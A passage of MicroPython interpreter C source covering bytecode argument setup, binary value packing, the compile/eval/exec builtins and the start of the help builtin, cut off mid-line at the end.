mp_obj_fun_get_name(MP_OBJ_FROM_PTR(f)), expected, given)); #endif } #if DEBUG_PRINT STATIC void dump_args(const mp_obj_t *a, size_t sz) { DEBUG_printf("%p: ", a); for (size_t i = 0; i < sz; i++) { DEBUG_printf("%p ", a[i]); } DEBUG_printf("\n"); } #else #define dump_args(...) (void)0 #endif // On entry code_state should be allocated somewhere (stack/heap) and // contain the following valid entries: // - code_state->fun_bc should contain a pointer to the function object // - code_state->ip should contain the offset in bytes from the pointer // code_state->fun_bc->bytecode to the entry n_state (0 for bytecode, non-zero for native) void mp_setup_code_state(mp_code_state_t *code_state, size_t n_args, size_t n_kw, const mp_obj_t *args) { // This function is pretty complicated. It's main aim is to be efficient in speed and RAM // usage for the common case of positional only args. // get the function object that we want to set up (could be bytecode or native code) mp_obj_fun_bc_t *self = code_state->fun_bc; // ip comes in as an offset into bytecode, so turn it into a true pointer code_state->ip = self->bytecode + (size_t)code_state->ip; #if MICROPY_STACKLESS code_state->prev = NULL; #endif // get params size_t n_state = mp_decode_uint(&code_state->ip); code_state->ip = mp_decode_uint_skip(code_state->ip); // skip n_exc_stack size_t scope_flags = *code_state->ip++; size_t n_pos_args = *code_state->ip++; size_t n_kwonly_args = *code_state->ip++; size_t n_def_pos_args = *code_state->ip++; code_state->sp = &code_state->state[0] - 1; code_state->exc_sp = (mp_exc_stack_t*)(code_state->state + n_state) - 1; // zero out the local stack to begin with memset(code_state->state, 0, n_state * sizeof(*code_state->state)); const mp_obj_t *kwargs = args + n_args; // var_pos_kw_args points to the stack where the var-args tuple, and var-kw dict, should go (if they are needed) mp_obj_t *var_pos_kw_args = &code_state->state[n_state - 1 - n_pos_args - n_kwonly_args]; // check positional arguments if (n_args > n_pos_args) { // given more than enough arguments if ((scope_flags & MP_SCOPE_FLAG_VARARGS) == 0) { fun_pos_args_mismatch(self, n_pos_args, n_args); } // put extra arguments in varargs tuple *var_pos_kw_args-- = mp_obj_new_tuple(n_args - n_pos_args, args + n_pos_args); n_args = n_pos_args; } else { if ((scope_flags & MP_SCOPE_FLAG_VARARGS) != 0) { DEBUG_printf("passing empty tuple as *args\n"); *var_pos_kw_args-- = mp_const_empty_tuple; } // Apply processing and check below only if we don't have kwargs, // otherwise, kw handling code below has own extensive checks. if (n_kw == 0 && (scope_flags & MP_SCOPE_FLAG_DEFKWARGS) == 0) { if (n_args >= (size_t)(n_pos_args - n_def_pos_args)) { // given enough arguments, but may need to use some default arguments for (size_t i = n_args; i < n_pos_args; i++) { code_state->state[n_state - 1 - i] = self->extra_args[i - (n_pos_args - n_def_pos_args)]; } } else { fun_pos_args_mismatch(self, n_pos_args - n_def_pos_args, n_args); } } } // copy positional args into state for (size_t i = 0; i < n_args; i++) { code_state->state[n_state - 1 - i] = args[i]; } // check keyword arguments if (n_kw != 0 || (scope_flags & MP_SCOPE_FLAG_DEFKWARGS) != 0) { DEBUG_printf("Initial args: "); dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args); mp_obj_t dict = MP_OBJ_NULL; if ((scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) { dict = mp_obj_new_dict(n_kw); // TODO: better go conservative with 0? *var_pos_kw_args = dict; } // get pointer to arg_names array const mp_obj_t *arg_names = (const mp_obj_t*)self->const_table; for (size_t i = 0; i < n_kw; i++) { // the keys in kwargs are expected to be qstr objects mp_obj_t wanted_arg_name = kwargs[2 * i]; for (size_t j = 0; j < n_pos_args + n_kwonly_args; j++) { if (wanted_arg_name == arg_names[j]) { if (code_state->state[n_state - 1 - j] != MP_OBJ_NULL) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function got multiple values for argument '%q'", MP_OBJ_QSTR_VALUE(wanted_arg_name))); } code_state->state[n_state - 1 - j] = kwargs[2 * i + 1]; goto continue2; } } // Didn't find name match with positional args if ((scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) == 0) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("unexpected keyword argument"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "unexpected keyword argument '%q'", MP_OBJ_QSTR_VALUE(wanted_arg_name))); } } mp_obj_dict_store(dict, kwargs[2 * i], kwargs[2 * i + 1]); continue2:; } DEBUG_printf("Args with kws flattened: "); dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args); // fill in defaults for positional args mp_obj_t *d = &code_state->state[n_state - n_pos_args]; mp_obj_t *s = &self->extra_args[n_def_pos_args - 1]; for (size_t i = n_def_pos_args; i > 0; i--, d++, s--) { if (*d == MP_OBJ_NULL) { *d = *s; } } DEBUG_printf("Args after filling default positional: "); dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args); // Check that all mandatory positional args are specified while (d < &code_state->state[n_state]) { if (*d++ == MP_OBJ_NULL) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function missing required positional argument #%d", &code_state->state[n_state] - d)); } } // Check that all mandatory keyword args are specified // Fill in default kw args if we have them for (size_t i = 0; i < n_kwonly_args; i++) { if (code_state->state[n_state - 1 - n_pos_args - i] == MP_OBJ_NULL) { mp_map_elem_t *elem = NULL; if ((scope_flags & MP_SCOPE_FLAG_DEFKWARGS) != 0) { elem = mp_map_lookup(&((mp_obj_dict_t*)MP_OBJ_TO_PTR(self->extra_args[n_def_pos_args]))->map, arg_names[n_pos_args + i], MP_MAP_LOOKUP); } if (elem != NULL) { code_state->state[n_state - 1 - n_pos_args - i] = elem->value; } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function missing required keyword argument '%q'", MP_OBJ_QSTR_VALUE(arg_names[n_pos_args + i]))); } } } } else { // no keyword arguments given if (n_kwonly_args != 0) { mp_raise_TypeError("function missing keyword-only argument"); } if ((scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) { *var_pos_kw_args = mp_obj_new_dict(0); } } // get the ip and skip argument names const byte *ip = code_state->ip; // jump over code info (source file and line-number mapping) ip += mp_decode_uint_value(ip); // bytecode prelude: initialise closed over variables size_t local_num; while ((local_num = *ip++) != 255) { code_state->state[n_state - 1 - local_num] = mp_obj_new_cell(code_state->state[n_state - 1 - local_num]); } // now that we skipped over the prelude, set the ip for the VM code_state->ip = ip; DEBUG_printf("Calling: n_pos_args=%d, n_kwonly_args=%d\n", n_pos_args, n_kwonly_args); dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args); dump_args(code_state->state, n_state); } #if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE // The following table encodes the number of bytes that a specific opcode // takes up. There are 3 special opcodes that always have an extra byte: // MP_BC_MAKE_CLOSURE // MP_BC_MAKE_CLOSURE_DEFARGS // MP_BC_RAISE_VARARGS // There are 4 special opcodes that have an extra byte only when // MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE is enabled: // MP_BC_LOAD_NAME // MP_BC_LOAD_GLOBAL // MP_BC_LOAD_ATTR // MP_BC_STORE_ATTR #define OC4(a, b, c, d) (a | (b << 2) | (c << 4) | (d << 6)) #define U (0) // undefined opcode #define B (MP_OPCODE_BYTE) // single byte #define Q (MP_OPCODE_QSTR) // single byte plus 2-byte qstr #define V (MP_OPCODE_VAR_UINT) // single byte plus variable encoded unsigned int #define O (MP_OPCODE_OFFSET) // single byte plus 2-byte bytecode offset STATIC const byte opcode_format_table[64] = { OC4(U, U, U, U), // 0x00-0x03 OC4(U, U, U, U), // 0x04-0x07 OC4(U, U, U, U), // 0x08-0x0b OC4(U, U, U, U), // 0x0c-0x0f OC4(B, B, B, U), // 0x10-0x13 OC4(V, U, Q, V), // 0x14-0x17 OC4(B, V, V, Q), // 0x18-0x1b OC4(Q, Q, Q, Q), // 0x1c-0x1f OC4(B, B, V, V), // 0x20-0x23 OC4(Q, Q, Q, B), // 0x24-0x27 OC4(V, V, Q, Q), // 0x28-0x2b OC4(U, U, U, U), // 0x2c-0x2f OC4(B, B, B, B), // 0x30-0x33 OC4(B, O, O, O), // 0x34-0x37 OC4(O, O, U, U), // 0x38-0x3b OC4(U, O, B, O), // 0x3c-0x3f OC4(O, B, B, O), // 0x40-0x43 OC4(B, B, O, U), // 0x44-0x47 OC4(U, U, U, U), // 0x48-0x4b OC4(U, U, U, U), // 0x4c-0x4f OC4(V, V, U, V), // 0x50-0x53 OC4(B, U, V, V), // 0x54-0x57 OC4(V, V, V, B), // 0x58-0x5b OC4(B, B, B, U), // 0x5c-0x5f OC4(V, V, V, V), // 0x60-0x63 OC4(V, V, V, V), // 0x64-0x67 OC4(Q, Q, B, U), // 0x68-0x6b OC4(U, U, U, U), // 0x6c-0x6f OC4(B, B, B, B), // 0x70-0x73 OC4(B, B, B, B), // 0x74-0x77 OC4(B, B, B, B), // 0x78-0x7b OC4(B, B, B, B), // 0x7c-0x7f OC4(B, B, B, B), // 0x80-0x83 OC4(B, B, B, B), // 0x84-0x87 OC4(B, B, B, B), // 0x88-0x8b OC4(B, B, B, B), // 0x8c-0x8f OC4(B, B, B, B), // 0x90-0x93 OC4(B, B, B, B), // 0x94-0x97 OC4(B, B, B, B), // 0x98-0x9b OC4(B, B, B, B), // 0x9c-0x9f OC4(B, B, B, B), // 0xa0-0xa3 OC4(B, B, B, B), // 0xa4-0xa7 OC4(B, B, B, B), // 0xa8-0xab OC4(B, B, B, B), // 0xac-0xaf OC4(B, B, B, B), // 0xb0-0xb3 OC4(B, B, B, B), // 0xb4-0xb7 OC4(B, B, B, B), // 0xb8-0xbb OC4(B, B, B, B), // 0xbc-0xbf OC4(B, B, B, B), // 0xc0-0xc3 OC4(B, B, B, B), // 0xc4-0xc7 OC4(B, B, B, B), // 0xc8-0xcb OC4(B, B, B, B), // 0xcc-0xcf OC4(B, B, B, B), // 0xd0-0xd3 OC4(B, B, B, B), // 0xd4-0xd7 OC4(B, B, B, B), // 0xd8-0xdb OC4(B, B, B, B), // 0xdc-0xdf OC4(B, B, B, B), // 0xe0-0xe3 OC4(B, B, B, B), // 0xe4-0xe7 OC4(B, B, B, B), // 0xe8-0xeb OC4(B, B, B, B), // 0xec-0xef OC4(B, B, B, B), // 0xf0-0xf3 OC4(B, B, B, B), // 0xf4-0xf7 OC4(B, B, B, U), // 0xf8-0xfb OC4(U, U, U, U), // 0xfc-0xff }; #undef OC4 #undef U #undef B #undef Q #undef V #undef O uint mp_opcode_format(const byte *ip, size_t *opcode_size) { uint f = (opcode_format_table[*ip >> 2] >> (2 * (*ip & 3))) & 3; const byte *ip_start = ip; if (f == MP_OPCODE_QSTR) { ip += 3; } else { int extra_byte = ( *ip == MP_BC_RAISE_VARARGS || *ip == MP_BC_MAKE_CLOSURE || *ip == MP_BC_MAKE_CLOSURE_DEFARGS #if MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE || *ip == MP_BC_LOAD_NAME || *ip == MP_BC_LOAD_GLOBAL || *ip == MP_BC_LOAD_ATTR || *ip == MP_BC_STORE_ATTR #endif ); ip += 1; if (f == MP_OPCODE_VAR_UINT) { while ((*ip++ & 0x80) != 0) { } } else if (f == MP_OPCODE_OFFSET) { ip += 2; } ip += extra_byte; } *opcode_size = ip - ip_start; return f; } #endif // MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE ================================================ FILE: micropython/source/py/binary.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/binary.h" #include "py/smallint.h" #include "py/objint.h" #include "py/runtime.h" // Helpers to work with binary-encoded data #ifndef alignof #define alignof(type) offsetof(struct { char c; type t; }, t) #endif size_t mp_binary_get_size(char struct_type, char val_type, mp_uint_t *palign) { size_t size = 0; int align = 1; switch (struct_type) { case '<': case '>': switch (val_type) { case 'b': case 'B': size = 1; break; case 'h': case 'H': size = 2; break; case 'i': case 'I': size = 4; break; case 'l': case 'L': size = 4; break; case 'q': case 'Q': size = 8; break; case 'P': case 'O': case 'S': size = sizeof(void*); break; case 'f': size = sizeof(float); break; case 'd': size = sizeof(double); break; } break; case '@': { // TODO: // The simplest heuristic for alignment is to align by value // size, but that doesn't work for "bigger than int" types, // for example, long long may very well have long alignment // So, we introduce separate alignment handling, but having // formal support for that is different from actually supporting // particular (or any) ABI. switch (val_type) { case BYTEARRAY_TYPECODE: case 'b': case 'B': align = size = 1; break; case 'h': case 'H': align = alignof(short); size = sizeof(short); break; case 'i': case 'I': align = alignof(int); size = sizeof(int); break; case 'l': case 'L': align = alignof(long); size = sizeof(long); break; case 'q': case 'Q': align = alignof(long long); size = sizeof(long long); break; case 'P': case 'O': case 'S': align = alignof(void*); size = sizeof(void*); break; case 'f': align = alignof(float); size = sizeof(float); break; case 'd': align = alignof(double); size = sizeof(double); break; } } } if (size == 0) { mp_raise_ValueError("bad typecode"); } if (palign != NULL) { *palign = align; } return size; } mp_obj_t mp_binary_get_val_array(char typecode, void *p, mp_uint_t index) { mp_int_t val = 0; switch (typecode) { case 'b': val = ((signed char*)p)[index]; break; case BYTEARRAY_TYPECODE: case 'B': val = ((unsigned char*)p)[index]; break; case 'h': val = ((short*)p)[index]; break; case 'H': val = ((unsigned short*)p)[index]; break; case 'i': return mp_obj_new_int(((int*)p)[index]); case 'I': return mp_obj_new_int_from_uint(((unsigned int*)p)[index]); case 'l': return mp_obj_new_int(((long*)p)[index]); case 'L': return mp_obj_new_int_from_uint(((unsigned long*)p)[index]); #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE case 'q': return mp_obj_new_int_from_ll(((long long*)p)[index]); case 'Q': return mp_obj_new_int_from_ull(((unsigned long long*)p)[index]); #endif #if MICROPY_PY_BUILTINS_FLOAT case 'f': return mp_obj_new_float(((float*)p)[index]); case 'd': return mp_obj_new_float(((double*)p)[index]); #endif // Extension to CPython: array of objects case 'O': return ((mp_obj_t*)p)[index]; // Extension to CPython: array of pointers case 'P': return mp_obj_new_int((mp_int_t)(uintptr_t)((void**)p)[index]); } return MP_OBJ_NEW_SMALL_INT(val); } // The long long type is guaranteed to hold at least 64 bits, and size is at // most 8 (for q and Q), so we will always be able to parse the given data // and fit it into a long long. long long mp_binary_get_int(mp_uint_t size, bool is_signed, bool big_endian, const byte *src) { int delta; if (!big_endian) { delta = -1; src += size - 1; } else { delta = 1; } long long val = 0; if (is_signed && *src & 0x80) { val = -1; } for (uint i = 0; i < size; i++) { val <<= 8; val |= *src; src += delta; } return val; } #define is_signed(typecode) (typecode > 'Z') mp_obj_t mp_binary_get_val(char struct_type, char val_type, byte **ptr) { byte *p = *ptr; mp_uint_t align; size_t size = mp_binary_get_size(struct_type, val_type, &align); if (struct_type == '@') { // Make pointer aligned p = (byte*)MP_ALIGN(p, (size_t)align); #if MP_ENDIANNESS_LITTLE struct_type = '<'; #else struct_type = '>'; #endif } *ptr = p + size; long long val = mp_binary_get_int(size, is_signed(val_type), (struct_type == '>'), p); if (val_type == 'O') { return (mp_obj_t)(mp_uint_t)val; } else if (val_type == 'S') { const char *s_val = (const char*)(uintptr_t)(mp_uint_t)val; return mp_obj_new_str(s_val, strlen(s_val), false); #if MICROPY_PY_BUILTINS_FLOAT } else if (val_type == 'f') { union { uint32_t i; float f; } fpu = {val}; return mp_obj_new_float(fpu.f); } else if (val_type == 'd') { union { uint64_t i; double f; } fpu = {val}; return mp_obj_new_float(fpu.f); #endif } else if (is_signed(val_type)) { if ((long long)MP_SMALL_INT_MIN <= val && val <= (long long)MP_SMALL_INT_MAX) { return mp_obj_new_int((mp_int_t)val); } else { return mp_obj_new_int_from_ll(val); } } else { if ((unsigned long long)val <= (unsigned long long)MP_SMALL_INT_MAX) { return mp_obj_new_int_from_uint((mp_uint_t)val); } else { return mp_obj_new_int_from_ull(val); } } } void mp_binary_set_int(mp_uint_t val_sz, bool big_endian, byte *dest, mp_uint_t val) { if (MP_ENDIANNESS_LITTLE && !big_endian) { memcpy(dest, &val, val_sz); } else if (MP_ENDIANNESS_BIG && big_endian) { // only copy the least-significant val_sz bytes memcpy(dest, (byte*)&val + sizeof(mp_uint_t) - val_sz, val_sz); } else { const byte *src; if (MP_ENDIANNESS_LITTLE) { src = (const byte*)&val + val_sz; } else { src = (const byte*)&val + sizeof(mp_uint_t); } while (val_sz--) { *dest++ = *--src; } } } void mp_binary_set_val(char struct_type, char val_type, mp_obj_t val_in, byte **ptr) { byte *p = *ptr; mp_uint_t align; size_t size = mp_binary_get_size(struct_type, val_type, &align); if (struct_type == '@') { // Make pointer aligned p = (byte*)MP_ALIGN(p, (size_t)align); if (MP_ENDIANNESS_LITTLE) { struct_type = '<'; } else { struct_type = '>'; } } *ptr = p + size; mp_uint_t val; switch (val_type) { case 'O': val = (mp_uint_t)val_in; break; #if MICROPY_PY_BUILTINS_FLOAT case 'f': { union { uint32_t i; float f; } fp_sp; fp_sp.f = mp_obj_get_float(val_in); val = fp_sp.i; break; } case 'd': { union { uint64_t i64; uint32_t i32[2]; double f; } fp_dp; fp_dp.f = mp_obj_get_float(val_in); if (BYTES_PER_WORD == 8) { val = fp_dp.i64; } else { int be = struct_type == '>'; mp_binary_set_int(sizeof(uint32_t), be, p, fp_dp.i32[MP_ENDIANNESS_BIG ^ be]); p += sizeof(uint32_t); val = fp_dp.i32[MP_ENDIANNESS_LITTLE ^ be]; } break; } #endif default: #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE if (MP_OBJ_IS_TYPE(val_in, &mp_type_int)) { mp_obj_int_to_bytes_impl(val_in, struct_type == '>', size, p); return; } else #endif { val = mp_obj_get_int(val_in); // zero/sign extend if needed if (BYTES_PER_WORD < 8 && size > sizeof(val)) { int c = (is_signed(val_type) && (mp_int_t)val < 0) ? 0xff : 0x00; memset(p, c, size); if (struct_type == '>') { p += size - sizeof(val); } } } } mp_binary_set_int(MIN((size_t)size, sizeof(val)), struct_type == '>', p, val); } void mp_binary_set_val_array(char typecode, void *p, mp_uint_t index, mp_obj_t val_in) { switch (typecode) { #if MICROPY_PY_BUILTINS_FLOAT case 'f': ((float*)p)[index] = mp_obj_get_float(val_in); break; case 'd': ((double*)p)[index] = mp_obj_get_float(val_in); break; #endif // Extension to CPython: array of objects case 'O': ((mp_obj_t*)p)[index] = val_in; break; default: #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE if (MP_OBJ_IS_TYPE(val_in, &mp_type_int)) { size_t size = mp_binary_get_size('@', typecode, NULL); mp_obj_int_to_bytes_impl(val_in, MP_ENDIANNESS_BIG, size, (uint8_t*)p + index * size); return; } #endif mp_binary_set_val_array_from_int(typecode, p, index, mp_obj_get_int(val_in)); } } void mp_binary_set_val_array_from_int(char typecode, void *p, mp_uint_t index, mp_int_t val) { switch (typecode) { case 'b': ((signed char*)p)[index] = val; break; case BYTEARRAY_TYPECODE: case 'B': ((unsigned char*)p)[index] = val; break; case 'h': ((short*)p)[index] = val; break; case 'H': ((unsigned short*)p)[index] = val; break; case 'i': ((int*)p)[index] = val; break; case 'I': ((unsigned int*)p)[index] = val; break; case 'l': ((long*)p)[index] = val; break; case 'L': ((unsigned long*)p)[index] = val; break; #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE case 'q': ((long long*)p)[index] = val; break; case 'Q': ((unsigned long long*)p)[index] = val; break; #endif #if MICROPY_PY_BUILTINS_FLOAT case 'f': ((float*)p)[index] = val; break; case 'd': ((double*)p)[index] = val; break; #endif // Extension to CPython: array of pointers case 'P': ((void**)p)[index] = (void*)(uintptr_t)val; break; } } ================================================ FILE: micropython/source/py/builtinevex.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/objfun.h" #include "py/compile.h" #include "py/runtime.h" #include "py/builtin.h" #if MICROPY_PY_BUILTINS_COMPILE typedef struct _mp_obj_code_t { mp_obj_base_t base; mp_obj_t module_fun; } mp_obj_code_t; STATIC const mp_obj_type_t mp_type_code = { { &mp_type_type }, .name = MP_QSTR_code, }; STATIC mp_obj_t code_execute(mp_obj_code_t *self, mp_obj_dict_t *globals, mp_obj_dict_t *locals) { // save context and set new context mp_obj_dict_t *old_globals = mp_globals_get(); mp_obj_dict_t *old_locals = mp_locals_get(); mp_globals_set(globals); mp_locals_set(locals); // a bit of a hack: fun_bc will re-set globals, so need to make sure it's // the correct one if (MP_OBJ_IS_TYPE(self->module_fun, &mp_type_fun_bc)) { mp_obj_fun_bc_t *fun_bc = MP_OBJ_TO_PTR(self->module_fun); fun_bc->globals = globals; } // execute code nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_obj_t ret = mp_call_function_0(self->module_fun); nlr_pop(); mp_globals_set(old_globals); mp_locals_set(old_locals); return ret; } else { // exception; restore context and re-raise same exception mp_globals_set(old_globals); mp_locals_set(old_locals); nlr_jump(nlr.ret_val); } } STATIC mp_obj_t mp_builtin_compile(size_t n_args, const mp_obj_t *args) { (void)n_args; // get the source size_t str_len; const char *str = mp_obj_str_get_data(args[0], &str_len); // get the filename qstr filename = mp_obj_str_get_qstr(args[1]); // create the lexer mp_lexer_t *lex = mp_lexer_new_from_str_len(filename, str, str_len, 0); // get the compile mode qstr mode = mp_obj_str_get_qstr(args[2]); mp_parse_input_kind_t parse_input_kind; switch (mode) { case MP_QSTR_single: parse_input_kind = MP_PARSE_SINGLE_INPUT; break; case MP_QSTR_exec: parse_input_kind = MP_PARSE_FILE_INPUT; break; case MP_QSTR_eval: parse_input_kind = MP_PARSE_EVAL_INPUT; break; default: mp_raise_ValueError("bad compile mode"); } mp_obj_code_t *code = m_new_obj(mp_obj_code_t); code->base.type = &mp_type_code; code->module_fun = mp_parse_compile_execute(lex, parse_input_kind, NULL, NULL); return MP_OBJ_FROM_PTR(code); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_compile_obj, 3, 6, mp_builtin_compile); #endif // MICROPY_PY_BUILTINS_COMPILE #if MICROPY_PY_BUILTINS_EVAL_EXEC STATIC mp_obj_t eval_exec_helper(size_t n_args, const mp_obj_t *args, mp_parse_input_kind_t parse_input_kind) { // work out the context mp_obj_dict_t *globals = mp_globals_get(); mp_obj_dict_t *locals = mp_locals_get(); for (size_t i = 1; i < 3 && i < n_args; ++i) { if (args[i] != mp_const_none) { if (!MP_OBJ_IS_TYPE(args[i], &mp_type_dict)) { mp_raise_TypeError(NULL); } locals = MP_OBJ_TO_PTR(args[i]); if (i == 1) { globals = locals; } } } #if MICROPY_PY_BUILTINS_COMPILE if (MP_OBJ_IS_TYPE(args[0], &mp_type_code)) { return code_execute(MP_OBJ_TO_PTR(args[0]), globals, locals); } #endif size_t str_len; const char *str = mp_obj_str_get_data(args[0], &str_len); // create the lexer // MP_PARSE_SINGLE_INPUT is used to indicate a file input mp_lexer_t *lex; if (MICROPY_PY_BUILTINS_EXECFILE && parse_input_kind == MP_PARSE_SINGLE_INPUT) { lex = mp_lexer_new_from_file(str); parse_input_kind = MP_PARSE_FILE_INPUT; } else { lex = mp_lexer_new_from_str_len(MP_QSTR__lt_string_gt_, str, str_len, 0); } return mp_parse_compile_execute(lex, parse_input_kind, globals, locals); } STATIC mp_obj_t mp_builtin_eval(size_t n_args, const mp_obj_t *args) { return eval_exec_helper(n_args, args, MP_PARSE_EVAL_INPUT); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_eval_obj, 1, 3, mp_builtin_eval); STATIC mp_obj_t mp_builtin_exec(size_t n_args, const mp_obj_t *args) { return eval_exec_helper(n_args, args, MP_PARSE_FILE_INPUT); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_exec_obj, 1, 3, mp_builtin_exec); #endif // MICROPY_PY_BUILTINS_EVAL_EXEC #if MICROPY_PY_BUILTINS_EXECFILE STATIC mp_obj_t mp_builtin_execfile(size_t n_args, const mp_obj_t *args) { // MP_PARSE_SINGLE_INPUT is used to indicate a file input return eval_exec_helper(n_args, args, MP_PARSE_SINGLE_INPUT); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_execfile_obj, 1, 3, mp_builtin_execfile); #endif ================================================ FILE: micropython/source/py/builtinhelp.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/builtin.h" #include "py/objmodule.h" #if MICROPY_PY_BUILTINS_HELP const char *mp_help_default_text = "Welcome to MicroPython!\n" "\n" "For online docs please visit http://docs.micropython.org/\n" "\n" "Control commands:\n" " CTRL-A -- on a blank line, enter raw REPL mode\n" " CTRL-B -- on a blank line, enter normal REPL mode\n" " CTRL-C -- interrupt a running program\n" " CTRL-D -- on a blank line, exit or do a soft reset\n" " CTRL-E -- on a blank line, enter paste mode\n" "\n" "For further help on a specific object, type help(obj)\n" ; STATIC void mp_help_print_info_about_object(mp_obj_t name_o, mp_obj_t value) { mp_print_str(MP_PYTHON_PRINTER, " "); mp_obj_print(name_o, PRINT_STR); mp_print_str(MP_PYTHON_PRINTER, " -- "); mp_obj_print(value, PRINT_STR); mp_print_str(MP_PYTHON_PRINTER, "\n"); } #if MICROPY_PY_BUILTINS_HELP_MODULES STATIC void mp_help_add_from_map(mp_obj_t list, const mp_map_t *map) { for (size_t i = 0; i < map->alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(map, i)) { mp_obj_list_append(list, map->table[i].key); } } } #if MICROPY_MODULE_FROZEN STATIC void mp_help_add_from_names(mp_obj_t list, const char *name) { while (*name) { size_t l = strlen(name); // name should end in '.py' and we strip it off mp_obj_list_append(list, mp_obj_new_str(name, l - 3, false)); name += l + 1; } } #endif STATIC void mp_help_print_modules(void) { mp_obj_t list = mp_obj_new_list(0, NULL); mp_help_add_from_map(list, &mp_builtin_module_map); #if MICROPY_MODULE_WEAK_LINKS mp_help_add_from_map(list, &mp_builtin_module_weak_links_map); #endif #if MICROPY_MODULE_FROZEN_STR extern const char mp_frozen_str_names[]; mp_help_add_from_names(list, mp_frozen_str_names); #endif #if MICROPY_MODULE_FROZEN_MPY extern const char mp_frozen_mpy_names[]; mp_help_add_from_names(list, mp_frozen_mpy_names); #endif // sort the list so it's printed in alphabetical order mp_obj_list_sort(1, &list, (mp_map_t*)&mp_const_empty_map); // print the list of modules in a column-first order #define NUM_COLUMNS (4) #define COLUMN_WIDTH (18) mp_uint_t len; mp_obj_t *items; mp_obj_list_get(list, &len, &items); unsigned int num_rows = (len + NUM_COLUMNS - 1) / NUM_COLUMNS; for (unsigned int i = 0; i < num_rows; ++i) { unsigned int j = i; for (;;) { int l 